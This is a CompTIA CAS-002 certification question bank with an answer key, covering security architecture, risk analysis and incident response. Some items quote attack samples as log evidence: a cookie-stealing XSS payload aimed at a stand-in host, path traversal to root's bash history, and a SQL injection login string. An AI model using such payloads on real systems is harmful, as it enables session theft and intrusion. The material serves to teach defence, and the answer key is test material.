CompTIA CAS-002

A security architect is designing a new infrastructure using both type 1 and type 2 virtual machines. In addition to the normal complement of security controls (e.g. antivirus, host hardening, HIPS/NIDS) the security architect needs to implement a mechanism to securely store cryptographic keys used to sign code and code modules on the VMs. Which of the following will meet this goal without requiring any hardware pass-through implementations? A. vTPM B. HSM C. TPM D. INE

A

A user has a laptop configured with multiple operating system installations. The operating systems are all installed on a single SSD, but each has its own partition and logical volume. Which of the following is the BEST way to ensure confidentiality of individual operating system data? A. Encryption of each individual partition B. Encryption of the SSD at the file level C. FDE of each logical volume on the SSD D. FDE of the entire SSD as a single disk

A

A network administrator with a company's NSP has received a CERT alert for targeted adversarial behavior at the company. In addition to the company's physical security, which of the following can the network administrator use to detect the presence of a malicious actor physically accessing the company's network or information systems from within? (Select TWO). A. RAS B. Vulnerability scanner C. HTTP intercept D. HIDS E. Port scanner F. Protocol analyzer

D, F

The Chief Information Security Officer (CISO) at a company knows that many users store business documents on public cloud-based storage, and realizes this is a risk to the company. In response, the CISO implements a mandatory training course in which all employees are instructed on the proper use of cloud-based storage. Which of the following risk strategies did the CISO implement? A. Avoid B. Accept C. Mitigate D. Transfer

C

A new web based application has been developed and deployed in production. A security engineer decides to use an HTTP interceptor for testing the application. Which of the following problems would MOST likely be uncovered by this tool? A. The tool could show that input validation was only enabled on the client side B. The tool could enumerate backend SQL database table and column names C. The tool could force HTTP methods such as DELETE that the server has denied D. The tool could fuzz the application to determine where memory leaks occur

A

A security administrator notices the following line in a server's security log: <input name='credentials' type='TEXT' value='" + request.getParameter('><script>document.location='http://badsite.com/?q='document.cookie</scri pt>') + "'; The administrator is concerned that it will take the developer a lot of time to fix the application that is running on the server. Which of the following should the security administrator implement to prevent this particular attack? A. WAF B. Input validation C. SIEM D. Sandboxing E. DAM

A

A security administrator was doing a packet capture and noticed a system communicating with an unauthorized address within the 2001::/32 prefix. The network administrator confirms there is no IPv6 routing into or out of the network. Which of the following is the BEST course of action? A. Investigate the network traffic and block UDP port 3544 at the firewall B. Remove the system from the network and disable IPv6 at the router C. Locate and remove the unauthorized 6to4 relay from the network D. Disable the switch port and block the 2001::/32 traffic at the firewall

A

A security analyst has been asked to develop a quantitative risk analysis and risk assessment for the company's online shopping application. Based on heuristic information from the Security Operations Center (SOC), a Denial of Service Attack (DoS) has been successfully executed 5 times a year. The Business Operations department has determined the loss associated to each attack is $40,000. After implementing application caching, the number of DoS attacks was reduced to one time a year. The cost of the countermeasures was $100,000. Which of the following is the monetary value earned during the first year of operation? A. $60,000 B. $100,000 C. $140,000 D. $200,000

A

A security consultant is conducting a network assessment and wishes to discover any legacy backup Internet connections the network may have. Where would the consultant find this information and why would it be valuable? A. This information can be found in global routing tables, and is valuable because backup connections typically do not have perimeter protection as strong as the primary connection. B. This information can be found by calling the regional Internet registry, and is valuable because backup connections typically do not require VPN access to the network. C. This information can be found by accessing telecom billing records, and is valuable because backup connections typically have much lower latency than primary connections. D. This information can be found by querying the network's DNS servers, and is valuable because backup DNS servers typically allow recursive queries from Internet hosts.

A

A security engineer is a new member to a configuration board at the request of management. The company has two new major IT projects starting this year and wants to plan security into the application deployment. The board is primarily concerned with the applications' compliance with federal assessment and authorization standards. The security engineer asks for a timeline to determine when a security assessment of both applications should occur and does not attend subsequent configuration board meetings. If the security engineer is only going to perform a security assessment, which of the following steps in system authorization has the security engineer omitted? A. Establish the security control baseline B. Build the application according to software development security standards C. Review the results of user acceptance testing D. Consult with the stakeholders to determine which standards can be omitted

A

A small company's Chief Executive Officer (CEO) has asked its Chief Security Officer (CSO) to improve the company's security posture quickly with regard to targeted attacks. Which of the following should the CSO conduct FIRST? A. Survey threat feeds from services inside the same industry. B. Purchase multiple threat feeds to ensure diversity and implement blocks for malicious traffic. C. Conduct an internal audit against industry best practices to perform a qualitative analysis. D. Deploy a UTM solution that receives frequent updates from a trusted industry vendor.

A

A small retail company recently deployed a new point of sale (POS) system to all 67 stores. The core of the POS is an extranet site, accessible only from retail stores and the corporate office over a split-tunnel VPN. An additional split-tunnel VPN provides bi-directional connectivity back to the main office, which provides voice connectivity for store VoIP phones. Each store offers guest wireless functionality, as well as employee wireless. Only the staff wireless network has access to the POS VPN. Recently, stores are reporting poor response times when accessing the POS application from store computers as well as degraded voice quality when making phone calls. Upon investigation, it is determined that three store PCs are hosting malware, which is generating excessive network traffic. After malware removal, the information security department is asked to review the configuration and suggest changes to prevent this from happening again. Which of the following denotes the BEST way to mitigate future malware risk? A. Deploy new perimeter firewalls at all stores with UTM functionality. B. Change antivirus vendors at the store and the corporate office. C. Move to a VDI solution that runs offsite from the same data center that hosts the new POS solution. D. Deploy a proxy server with content filtering at the corporate office and route all traffic through it.

A

A systems administrator establishes a CIFS share on a UNIX device to share data to Windows systems. The security authentication on the Windows domain is set to the highest level. Windows users are stating that they cannot authenticate to the UNIX share. Which of the following settings on the UNIX server would correct this problem? A. Refuse LM and only accept NTLMv2 B. Accept only LM C. Refuse NTLMv2 and accept LM D. Accept only NTLM

A

An external penetration tester compromised one of the client organization's authentication servers and retrieved the password database. Which of the following methods allows the penetration tester to MOST efficiently use any obtained administrative credentials on the client organization's other systems, without impacting the integrity of any of the systems? A. Use the pass the hash technique B. Use rainbow tables to crack the passwords C. Use the existing access to change the password D. Use social engineering to obtain the actual password

A

The Chief Executive Officer (CEO) of a small start-up company wants to set up offices around the country for the sales staff to generate business. The company needs an effective communication solution to remain in constant contact with each other, while maintaining a secure business environment. A junior-level administrator suggests that the company and the sales staff stay connected via free social media. Which of the following decisions is BEST for the CEO to make? A. Social media is an effective solution because it is easily adaptable to new situations. B. Social media is an ineffective solution because the policy may not align with the business. C. Social media is an effective solution because it implements SSL encryption. D. Social media is an ineffective solution because it is not primarily intended for business applications.

B

Company ABC's SAN is nearing capacity, and will cause costly downtimes if servers run out disk space. Which of the following is a more cost effective alternative to buying a new SAN? A. Enable multipath to increase availability B. Enable deduplication on the storage pools C. Implement snapshots to reduce virtual disk size D. Implement replication to offsite datacenter

B

News outlets are beginning to report on a number of retail establishments that are experiencing payment card data breaches. The data exfiltration is enabled by malware on a compromised computer. After the initial exploit, network mapping and fingerprinting is conducted to prepare for further exploitation. Which of the following is the MOST effective solution to protect against unrecognized malware infections? A. Remove local admin permissions from all users and change anti-virus to a cloud aware, push technology. B. Implement an application whitelist at all levels of the organization. C. Deploy a network based heuristic IDS, configure all layer 3 switches to feed data to the IDS for more effective monitoring. D. Update router configuration to pass all network traffic through a new proxy server with advanced malware detection.

B

The Chief Executive Officer (CEO) of a company that allows telecommuting has challenged the Chief Security Officer's (CSO) request to harden the corporate network's perimeter. The CEO argues that the company cannot protect its employees at home, so the risk at work is no different. Which of the following BEST explains why this company should proceed with protecting its corporate network boundary? A. The corporate network is the only network that is audited by regulators and customers. B. The aggregation of employees on a corporate network makes it a more valuable target for attackers. C. Home networks are unknown to attackers and less likely to be targeted directly. D. Employees are more likely to be using personal computers for general web browsing when they are at home.

B

Ann, a systems engineer, is working to identify an unknown node on the corporate network. To begin her investigative work, she runs the following nmap command string: user@hostname:~$ sudo nmap -O 192.168.1.54 Based on the output, nmap is unable to identify the OS running on the node, but the following ports are open on the device: TCP/22 TCP/111 TCP/512-514 TCP/2049 TCP/32778 Based on this information, which of the following operating systems is MOST likely running on the unknown node? A. Linux B. Windows C. Solaris D. OSX

C

Company XYZ provides cable television service to several regional areas. They are currently installing fiber-to-the-home in many areas with hopes of also providing telephone and Internet services. The telephone and Internet services portions of the company will each be separate subsidiaries of the parent company. The board of directors wishes to keep the subsidiaries separate from the parent company. However all three companies must share customer data for the purposes of accounting, billing, and customer authentication. The solution must use open standards, and be simple and seamless for customers, while only sharing minimal data between the companies. Which of the following solutions is BEST suited for this scenario? A. The companies should federate, with the parent becoming the SP, and the subsidiaries becoming an IdP. B. The companies should federate, with the parent becoming the IdP, and the subsidiaries becoming an SSP. C. The companies should federate, with the parent becoming the IdP, and the subsidiaries becoming an SP. D. The companies should federate, with the parent becoming the ASP, and the subsidiaries becoming an IdP.

C

During a recent audit of servers, a company discovered that a network administrator, who required remote access, had deployed an unauthorized remote access application that communicated over common ports already allowed through the firewall. A network scan showed that this remote access application had already been installed on one third of the servers in the company. Which of the following is the MOST appropriate action that the company should take to provide a more appropriate solution? A. Implement an IPS to block the application on the network B. Implement the remote application out to the rest of the servers C. Implement SSL VPN with SAML standards for federation D. Implement an ACL on the firewall with NAT for remote access

C

The helpdesk manager wants to find a solution that will enable the helpdesk staff to better serve company employees who call with computer-related problems. The helpdesk staff is currently unable to perform effective troubleshooting and relies on callers to describe their technology problems. Given that the helpdesk staff is located within the company headquarters and 90% of the callers are telecommuters, which of the following tools should the helpdesk manager use to make the staff more effective at troubleshooting while at the same time reducing company costs? (Select TWO). A. Web cameras B. Email C. Instant messaging D. BYOD E. Desktop sharing F. Presence

C, E

An organization is concerned with potential data loss in the event of a disaster, and created a backup datacenter as a mitigation strategy. The current storage method is a single NAS used by all servers in both datacenters. Which of the following options increases data availability in the event of a datacenter failure? A. Replicate NAS changes to the tape backups at the other datacenter. B. Ensure each server has two HBAs connected through two routes to the NAS. C. Establish deduplication across diverse storage paths. D. Establish a SAN that replicates between datacenters.

D

Due to compliance regulations, a company requires a yearly penetration test. The Chief Information Security Officer (CISO) has asked that it be done under a black box methodology. Which of the following would be the advantage of conducting this kind of penetration test? A. The risk of unplanned server outages is reduced. B. Using documentation provided to them, the pen-test organization can quickly determine areas to focus on. C. The results will show an in-depth view of the network and should help pin-point areas of internal weakness. D. The results should reflect what attackers may be able to learn about the company.

D

The Chief Executive Officer (CEO) of an Internet service provider (ISP) has decided to limit the company's contribution to worldwide Distributed Denial of Service (DDoS) attacks. Which of the following should the ISP implement? (Select TWO). A. Block traffic from the ISP's networks destined for blacklisted IPs. B. Prevent the ISP's customers from querying DNS servers other than those hosted by the ISP. C. Scan the ISP's customer networks using an up-to-date vulnerability scanner. D. Notify customers when services they run are involved in an attack. E. Block traffic with an IP source not allocated to customers from exiting the ISP's network.

D, E

An insurance company is looking to purchase a smaller company in another country. Which of the following tasks would the security administrator perform as part of the security due diligence? A. Review switch and router configurations B. Review the security policies and standards C. Perform a network penetration test D. Review the firewall rule set and IPS logs

B

A security officer is leading a lessons learned meeting. Which of the following should be components of that meeting? (Select TWO). A. Demonstration of IPS system B. Review vendor selection process C. Calculate the ALE for the event D. Discussion of event timeline E. Assigning of follow up items

D, E

A completely new class of web-based vulnerabilities has been discovered. Claims have been made that all common web-based development frameworks are susceptible to attack. Proof-ofconcept details have emerged on the Internet. A security advisor within a company has been asked to provide recommendations on how to respond quickly to these vulnerabilities. Which of the following BEST describes how the security advisor should respond? A. Assess the reliability of the information source, likelihood of exploitability, and impact to hosted data. Attempt to exploit via the proof-of-concept code. Consider remediation options. B. Hire an independent security consulting agency to perform a penetration test of the web servers. Advise management of any 'high' or 'critical' penetration test findings and put forward recommendations for mitigation. C. Review vulnerability write-ups posted on the Internet. Respond to management with a recommendation to wait until the news has been independently verified by software vendors providing the web application software. D. Notify all customers about the threat to their hosted data. Bring the web servers down into "maintenance mode" until the vulnerability can be reliably mitigated through a vendor patch.

A

A government agency considers confidentiality to be of utmost importance and availability issues to be of least importance. Knowing this, which of the following correctly orders various vulnerabilities in the order of MOST important to LEAST important? A. Insecure direct object references, CSRF, Smurf B. Privilege escalation, Application DoS, Buffer overflow C. SQL injection, Resource exhaustion, Privilege escalation D. CSRF, Fault injection, Memory leaks

A

A large enterprise acquires another company which uses antivirus from a different vendor. The CISO has requested that data feeds from the two different antivirus platforms be combined in a way that allows management to assess and rate the overall effectiveness of antivirus across the entire organization. Which of the following tools can BEST meet the CISO's requirement? A. GRC B. IPS C. CMDB D. Syslog-ng E. IDS

A

A mature organization with legacy information systems has incorporated numerous new processes and dependencies to manage security as its networks and infrastructure are modernized. The Chief Information Office has become increasingly frustrated with frequent releases, stating that the organization needs everything to work completely, and the vendor should already have those desires built into the software product. The vendor has been in constant communication with personnel and groups within the organization to understand its business process and capture new software requirements from users. Which of the following methods of software development is this organization's configuration management process using? A. Agile B. SDL C. Waterfall D. Joint application development

A

Company A needs to export sensitive data from its financial system to company B's database, using company B's API in an automated manner. Company A's policy prohibits the use of any intermediary external systems to transfer or store its sensitive data, therefore the transfer must occur directly between company A's financial system and company B's destination server using the supplied API. Additionally, company A's legacy financial software does not support encryption, while company B's API supports encryption. Which of the following will provide end-to-end encryption for the data transfer while adhering to these requirements? A. Company A must install an SSL tunneling software on the financial system. B. Company A's security administrator should use an HTTPS capable browser to transfer the data. C. Company A should use a dedicated MPLS circuit to transfer the sensitive data to company B. D. Company A and B must create a site-to-site IPSec VPN on their respective firewalls.

A

The Information Security Officer (ISO) believes that the company has been targeted by cybercriminals and it is under a cyber attack. Internal services that are normally available to the public via the Internet are inaccessible, and employees in the office are unable to browse the Internet. The senior security engineer starts by reviewing the bandwidth at the border router, and notices that the incoming bandwidth on the router's external interface is maxed out. The security engineer then inspects the following piece of log to try and determine the reason for the downtime, focusing on the company's external router's IP which is 128.20.176.19: 11:16:22.110343 IP 90.237.31.27.19 > 128.20.176.19.19: UDP, length 1400 11:16:22.110351 IP 23.27.112.200.19 > 128.20.176.19.19: UDP, length 1400 11:16:22.110358 IP 192.200.132.213.19 > 128.20.176.19.19: UDP, length 1400 11:16:22.110402 IP 70.192.2.55.19 > 128.20.176.19.19: UDP, length 1400 11:16:22.110406 IP 112.201.7.39.19 > 128.20.176.19.19: UDP, length 1400 Which of the following describes the findings the senior security engineer should report to the ISO and the BEST solution for service restoration? A. After the senior engineer used a network analyzer to identify an active Fraggle attack, the company's ISP should be contacted and instructed to block the malicious packets. B. After the senior engineer used the above IPS logs to detect the ongoing DDOS attack, an IPS filter should be enabled to block the attack and restore communication. C. After the senior engineer used a mirror port to capture the ongoing amplification attack, a BGP sinkhole should be configured to drop traffic at the source networks. D. After the senior engineer used a packet capture to identify an active Smurf attack, an ACL should be placed on the company's external router to block incoming UDP port 19 traffic.

A

The administrator is troubleshooting availability issues on an FCoE-based storage array that uses deduplication. The single controller in the storage array has failed, so the administrator wants to move the drives to a storage array from a different manufacturer in order to access the data. Which of the following issues may potentially occur? A. The data may not be in a usable format. B. The new storage array is not FCoE based. C. The data may need a file system check. D. The new storage array also only has a single controller.

A

The risk manager has requested a security solution that is centrally managed, can easily be updated, and protects end users' workstations from both known and unknown malicious attacks when connected to either the office or home network. Which of the following would BEST meet this requirement? A. HIPS B. UTM C. Antivirus D. NIPS E. DLP

A

The senior security administrator wants to redesign the company DMZ to minimize the risks associated with both external and internal threats. The DMZ design must support security in depth, change management and configuration processes, and support incident reconstruction. Which of the following designs BEST supports the given requirements? A. A dual firewall DMZ with remote logging where each firewall is managed by a separate administrator. B. A single firewall DMZ where each firewall interface is managed by a separate administrator and logging to the cloud. C. A SaaS based firewall which logs to the company's local storage via SSL, and is managed by the change control team. D. A virtualized firewall, where each virtual instance is managed by a separate administrator and logging to the same hardware.

A

Three companies want to allow their employees to seamlessly connect to each other's wireless corporate networks while keeping one consistent wireless client configuration. Each company wants to maintain its own authentication infrastructure and wants to ensure that an employee who is visiting the other two companies is authenticated by the home office when connecting to the other companies' wireless network. All three companies have agreed to standardize on 802.1x EAP-PEAP-MSCHAPv2 for client configuration. Which of the following should the three companies implement? A. The three companies should agree on a single SSID and configure a hierarchical RADIU Ssystem which implements trust delegation. B. The three companies should implement federated authentication through Shibboleth connected to an LDAP backend and agree on a single SSID. C. The three companies should implement a central portal-based single sign-on and agree to use the same CA when issuing client certificates. D. All three companies should use the same wireless vendor to facilitate the use of a shared cloud based wireless controller.

A

Which of the following describes a risk and mitigation associated with cloud data storage? A. Risk: Shared hardware caused data leakage Mitigation: Strong encryption at rest B. Risk: Offsite replication Mitigation: Multi-site backups C. Risk: Data loss from de-duplication Mitigation: Dynamic host bus addressing D. Risk: Combined data archiving Mitigation: Two-factor administrator authentication

A

A security company is developing a new cloud-based log analytics platform. Its purpose is to allow: Customers to upload their log files to the "big data" platform Customers to perform remote log search Customers to integrate into the platform using an API so that third party business intelligence tools can be used for the purpose of trending, insights, and/or discovery Which of the following are the BEST security considerations to protect data from one customer being disclosed to other customers? (Select THREE). A. Secure storage and transmission of API keys B. Secure protocols for transmission of log files and search results C. At least two years retention of log files in case of e-discovery requests D. Multi-tenancy with RBAC support E. Sanitizing filters to prevent upload of sensitive log file contents F. Encryption of logical volumes on which the customers' log files reside

A, B, D

The Information Security Officer (ISO) is reviewing new policies that have been recently made effective and now apply to the company. Upon review, the ISO identifies a new requirement to implement two-factor authentication on the company's wireless system. Due to budget constraints, the company will be unable to implement the requirement for the next two years. The ISO is required to submit a policy exception form to the Chief Information Officer (CIO). Which of the following are MOST important to include when submitting the exception form? (Select THREE). A. Business or technical justification for not implementing the requirements. B. Risks associated with the inability to implement the requirements. C. Industry best practices with respect to the technical implementation of the current controls. D. All sections of the policy that may justify non-implementation of the requirements. E. A revised DRP and COOP plan to the exception form. F. Internal procedures that may justify a budget submission to implement the new requirement. G. Current and planned controls to mitigate the risks.

A, B, G

The source workstation image for new accounting PCs has begun blue-screening. A technician notices that the date/time stamp of the image source appears to have changed. The desktop support director has asked the Information Security department to determine if any changes were made to the source image. Which of the following methods would BEST help with this process? (Select TWO). A. Retrieve source system image from backup and run file comparison analysis on the two images. B. Parse all images to determine if extra data is hidden using steganography. C. Calculate a new hash and compare it with the previously captured image hash. D. Ask desktop support if any changes to the images were made. E. Check key system files to see if date/time stamp is in the past six months.

A, C

A large hospital has implemented BYOD to allow doctors and specialists the ability to access patient medical records on their tablets. The doctors and specialists access patient records over the hospital's guest WiFi network which is isolated from the internal network with appropriate security controls. The patient records management system can be accessed from the guest network and requires two factor authentication. Using a remote desktop type interface, the doctors and specialists can interact with the hospital's system. Cut and paste and printing functions are disabled to prevent the copying of data to BYOD devices. Which of the following are of MOST concern? (Select TWO). A. Privacy could be compromised as patient records can be viewed in uncontrolled areas. B. Device encryption has not been enabled and will result in a greater likelihood of data loss. C. The guest WiFi may be exploited allowing non-authorized individuals access to confidential patient data. D. Malware may be on BYOD devices which can extract data via key logging and screen scrapes. E. Remote wiping of devices should be enabled to ensure any lost device is rendered inoperable.

A, D

A security firm is writing a response to an RFP from a customer that is building a new network based software product. The firm's expertise is in penetration testing corporate networks. The RFP explicitly calls for all possible behaviors of the product to be tested, however, it does not specify any particular method to achieve this goal. Which of the following should be used to ensure the security and functionality of the product? (Select TWO). A. Code review B. Penetration testing C. Grey box testing D. Code signing E. White box testing

A, E

An intruder was recently discovered inside the data center, a highly sensitive area. To gain access, the intruder circumvented numerous layers of physical and electronic security measures. Company leadership has asked for a thorough review of physical security controls to prevent this from happening again. Which of the following departments are the MOST heavily invested in rectifying the problem? (Select THREE). A. Facilities management B. Human resources C. Research and development D. Programming E. Data center operations F. Marketing G. Information technology

A, E, G

The security administrator finds unauthorized tables and records, which were not present before, on a Linux database server. The database server communicates only with one web server, which connects to the database server via an account with SELECT only privileges. Web server logs show the following: 90.76.165.40 - - [08/Mar/2014:10:54:04] "GET calendar.php?create%20table%20hidden HTTP/1.1" 200 5724 90.76.165.40 - - [08/Mar/2014:10:54:05] "GET ../../../root/.bash_history HTTP/1.1" 200 5724 90.76.165.40 - - [08/Mar/2014:10:54:04] "GET index.php?user=<script>Create</script> HTTP/1.1" 200 5724 The security administrator also inspects the following file system locations on the database server using the command 'ls -al /root' drwxrwxrwx 11 root root 4096 Sep 28 22:45 . drwxr-xr-x 25 root root 4096 Mar 8 09:30 .. -rws------ 25 root root 4096 Mar 8 09:30 .bash_history -rw------- 25 root root 4096 Mar 8 09:30 .bash_history -rw------- 25 root root 4096 Mar 8 09:30 .profile -rw------- 25 root root 4096 Mar 8 09:30 .ssh Which of the following attacks was used to compromise the database server and what can the security administrator implement to detect such attacks in the future? (Select TWO). A. Privilege escalation B. Brute force attack C. SQL injection D. Cross-site scripting E. Using input validation, ensure the following characters are sanitized: <> F. Update crontab with: find / \( -perm -4000 \) -type f -print0 | xargs -0 ls -l | email.sh G. Implement the following PHP directive: $clean_user_input = addslashes($user_input) H. Set an account lockout policy

A, F

A security administrator notices a recent increase in workstations becoming compromised by malware. Often, the malware is delivered via drive-by downloads, from malware hosting websites, and is not being detected by the corporate antivirus. Which of the following solutions would provide the BEST protection for the company? A. Increase the frequency of antivirus downloads and install updates to all workstations. B. Deploy a cloud-based content filter and enable the appropriate category to prevent further infections. C. Deploy a WAF to inspect and block all web traffic which may contain malware and exploits. D. Deploy a web based gateway antivirus server to intercept viruses before they enter the network.

B

A security administrator wants to deploy a dedicated storage solution which is inexpensive, can natively integrate with AD, allows files to be selectively encrypted and is suitable for a small number of users at a satellite office. Which of the following would BEST meet the requirement? A. SAN B. NAS C. Virtual SAN D. Virtual storage

B

A forensic analyst receives a hard drive containing malware quarantined by the antivirus application. After creating an image and determining the directory location of the malware file, which of the following helps to determine when the system became infected? A. The malware file's modify, access, change time properties. B. The timeline analysis of the file system. C. The time stamp of the malware in the swap file. D. The date/time stamp of the malware detection in the antivirus logs.

B

A security engineer is responsible for monitoring company applications for known vulnerabilities. Which of the following is a way to stay current on exploits and information security news? A. Update company policies and procedures B. Subscribe to security mailing lists C. Implement security awareness training D. Ensure that the organization vulnerability management plan is up-to-date

B

A large organization has recently suffered a massive credit card breach. During the months of Incident Response, there were multiple attempts to assign blame for whose fault it was that the incident occurred. In which part of the incident response phase would this be addressed in a controlled and productive manner? A. During the Identification Phase B. During the Lessons Learned phase C. During the Containment Phase D. During the Preparation Phase

B

A penetration tester is assessing a mobile banking application. Man-in-the-middle attempts via a HTTP intercepting proxy are failing with SSL errors. Which of the following controls has likely been implemented by the developers? A. SSL certificate revocation B. SSL certificate pinning C. Mobile device root-kit detection D. Extended Validation certificates

B

A company has issued a new mobile device policy permitting BYOD and company-issued devices. The company-issued device has a managed middleware client that restricts the applications allowed on company devices and provides those that are approved. The middleware client provides configuration standardization for both company owned and BYOD to secure data and communication to the device according to industry best practices. The policy states that, "BYOD clients must meet the company's infrastructure requirements to permit a connection." The company also issues a memorandum separate from the policy, which provides instructions for the purchase, installation, and use of the middleware client on BYOD. Which of the following is being described? A. Asset management B. IT governance C. Change management D. Transference of risk

B

A company sales manager received a memo from the company's financial department which stated that the company would not be putting its software products through the same security testing as previous years to reduce the research and development cost by 20 percent for the upcoming year. The memo also stated that the marketing material and service level agreement for each product would remain unchanged. The sales manager has reviewed the sales goals for the upcoming year and identified an increased target across the software products that will be affected by the financial department's change. All software products will continue to go through new development in the coming year. Which of the following should the sales manager do to ensure the company stays out of trouble? A. Discuss the issue with the software product's user groups B. Consult the company's legal department on practices and law C. Contact senior finance management and provide background information D. Seek industry outreach for software practices and law

B

A security engineer is working on a large software development project. As part of the design of the project, various stakeholder requirements were gathered and decomposed to an implementable and testable level. Various security requirements were also documented. Organize the following security requirements into the correct hierarchy required for an SRTM. Requirement 1: The system shall provide confidentiality for data in transit and data at rest. Requirement 2: The system shall use SSL, SSH, or SCP for all data transport. Requirement 3: The system shall implement a file-level encryption scheme. Requirement 4: The system shall provide integrity for all data at rest. Requirement 5: The system shall perform CRC checks on all files. A. Level 1: Requirements 1 and 4; Level 2: Requirements 2, 3, and 5 B. Level 1: Requirements 1 and 4; Level 2: Requirements 2 and 3 under 1, Requirement 5 under 4 C. Level 1: Requirements 1 and 4; Level 2: Requirement 2 under 1, Requirement 5 under 4; Level 3: Requirement 3 under 2 D. Level 1: Requirements 1, 2, and 3; Level 2: Requirements 4 and 5

B

A security manager for a service provider has approved two vendors for connections to the service provider backbone. One vendor will be providing authentication services for its payment card service, and the other vendor will be providing maintenance to the service provider infrastructure sites. Which of the following business agreements is MOST relevant to the vendors and service provider's relationship? A. Memorandum of Agreement B. Interconnection Security Agreement C. Non-Disclosure Agreement D. Operating Level Agreement

B

A software development manager is taking over an existing software development project. The team currently suffers from poor communication due to a long delay between requirements documentation and feature delivery. This gap is resulting in an above average number of securityrelated bugs making it into production. Which of the following development methodologies is the team MOST likely using now? A. Agile B. Waterfall C. Scrum D. Spiral

B

After a security incident, an administrator would like to implement policies that would help reduce fraud and the potential for collusion between employees. Which of the following would help meet these goals by having co-workers occasionally audit another worker's position? A. Least privilege B. Job rotation C. Mandatory vacation D. Separation of duties

B

An administrator wants to enable policy based flexible mandatory access controls on an open source OS to prevent abnormal application modifications or executions. Which of the following would BEST accomplish this? A. Access control lists B. SELinux C. IPtables firewall D. HIPS

B

An application present on the majority of an organization's 1,000 systems is vulnerable to a buffer overflow attack. Which of the following is the MOST comprehensive way to resolve the issue? A. Deploy custom HIPS signatures to detect and block the attacks. B. Validate and deploy the appropriate patch. C. Run the application in terminal services to reduce the threat landscape. D. Deploy custom NIPS signatures to detect and block the attacks.

B

The Chief Information Officer (CIO) is reviewing the IT centric BIA and RA documentation. The documentation shows that a single 24 hours downtime in a critical business function will cost the business $2.3 million. Additionally, the business unit which depends on the critical business function has determined that there is a high probability that a threat will materialize based on historical data. The CIO's budget does not allow for full system hardware replacement in case of a catastrophic failure, nor does it allow for the purchase of additional compensating controls. Which of the following should the CIO recommend to the finance director to minimize financial loss? A. The company should mitigate the risk. B. The company should transfer the risk. C. The company should avoid the risk. D. The company should accept the risk.

B

The helpdesk department desires to roll out a remote support application for internal use on all company computers. This tool should allow remote desktop sharing, system log gathering, chat, hardware logging, inventory management, and remote registry access. The risk management team has been asked to review vendor responses to the RFQ. Which of the following questions is the MOST important? A. What are the protections against MITM? B. What accountability is built into the remote support application? C. What encryption standards are used in tracking database? D. What snapshot or "undo" features are present in the application? E. What encryption standards are used in remote desktop and file transfer functionality?

B

Which of the following provides the BEST risk calculation methodology? A. Annual Loss Expectancy (ALE) x Value of Asset B. Potential Loss x Event Probability x Control Failure Probability C. Impact x Threat x Vulnerability D. Risk Likelihood x Annual Loss Expectancy (ALE)

B

A security administrator wants to prevent sensitive data residing on corporate laptops and desktops from leaking outside of the corporate network. The company has already implemented full-disk encryption and has disabled all peripheral devices on its desktops and laptops. Which of the following additional controls MUST be implemented to minimize the risk of data leakage? (Select TWO). A. A full-system backup should be implemented to a third-party provider with strong encryption for data in transit. B. A DLP gateway should be installed at the company border. C. Strong authentication should be implemented via external biometric devices. D. Full-tunnel VPN should be required for all network communication. E. Full-drive file hashing should be implemented with hashes stored on separate storage. F. Split-tunnel VPN should be enforced when transferring sensitive data.

B, D

A security engineer on a large enterprise network needs to schedule maintenance within a fixed window of time. A total outage period of four hours is permitted for servers. Workstations can undergo maintenance from 8:00 pm to 6:00 am daily. Which of the following can specify parameters for the maintenance work? (Select TWO). A. Managed security service B. Memorandum of understanding C. Quality of service D. Network service provider E. Operating level agreement

B, E

A company has received the contract to begin developing a new suite of software tools to replace an aging collaboration solution. The original collaboration solution has been in place for nine years, contains over a million lines of code, and took over two years to develop originally. The SDLC has been broken up into eight primary stages, with each stage requiring an in-depth risk analysis before moving on to the next phase. Which of the following software development methods is MOST applicable? A. Spiral model B. Incremental model C. Waterfall model D. Agile model

C

A developer has implemented a piece of client-side JavaScript code to sanitize a user's provided input to a web page login screen. The code ensures that only the upper case and lower case letters are entered in the username field, and that only a 6-digit PIN is entered in the password field. A security administrator is concerned with the following web server log: 10.235.62.11 - - [02/Mar/2014:06:13:04] "GET /site/script.php?user=admin&pass=pass%20or%201=1 HTTP/1.1" 200 5724 Given this log, which of the following is the security administrator concerned with and which fix should be implemented by the developer? A. The security administrator is concerned with nonprintable characters being used to gain administrative access, and the developer should strip all nonprintable characters. B. The security administrator is concerned with XSS, and the developer should normalize Unicode characters on the browser side. C. The security administrator is concerned with SQL injection, and the developer should implement server side input validation. D. The security administrator is concerned that someone may log on as the administrator, and the developer should ensure strong passwords are enforced.

C

A popular commercial virtualization platform allows for the creation of virtual hardware. To virtual machines, this virtual hardware is indistinguishable from real hardware. By implementing virtualized TPMs, which of the following trusted system concepts can be implemented? A. Software-based root of trust B. Continuous chain of trust C. Chain of trust with a hardware root of trust D. Software-based trust anchor with no root of trust

C

A software project manager has been provided with a requirement from the customer to place limits on the types of transactions a given user can initiate without external interaction from CompTIA CAS-002 Exam another user with elevated privileges. This requirement is BEST described as an implementation of: A. an administrative control B. dual control C. separation of duties D. least privilege E. collusion

C

A web services company is planning a one-time high-profile event to be hosted on the corporate website. An outage, due to an attack, would be publicly embarrassing, so Joe, the Chief Executive Officer (CEO), has requested that his security engineers put temporary preventive controls in place. Which of the following would MOST appropriately address Joe's concerns? A. Ensure web services hosting the event use TCP cookies and deny_hosts. B. Configure an intrusion prevention system that blocks IPs after detecting too many incomplete sessions. C. Contract and configure scrubbing services with third-party DDoS mitigation providers. D. Purchase additional bandwidth from the company's Internet service provider.

C

After being notified of an issue with the online shopping cart, where customers are able to arbitrarily change the price of listed items, a programmer analyzes the following piece of code used by a web based shopping cart. SELECT ITEM FROM CART WHERE ITEM=ADDSLASHES($USERINPUT); The programmer found that every time a user adds an item to the cart, a temporary file is created on the web server /tmp directory. The temporary file has a name which is generated by concatenating the content of the $USERINPUT variable and a timestamp in the form of MM-DDYYYY, (e.g. smartphone-12-25-2013.tmp) containing the price of the item being purchased. Which of the following is MOST likely being exploited to manipulate the price of a shopping cart's items? A. Input validation B. SQL injection C. TOCTOU D. Session hijacking

C

An analyst connects to a company web conference hosted on www.webconference.com/meetingID#01234 and observes that numerous guests have been allowed to join, without providing identifying information. The topics covered during the web conference are considered proprietary to the company. Which of the following security concerns does the analyst present to management? A. Guest users could present a risk to the integrity of the company's information B. Authenticated users could sponsor guest access that was previously approved by management C. Unauthenticated users could present a risk to the confidentiality of the company's information D. Meeting owners could sponsor guest access if they have passed a background check

C

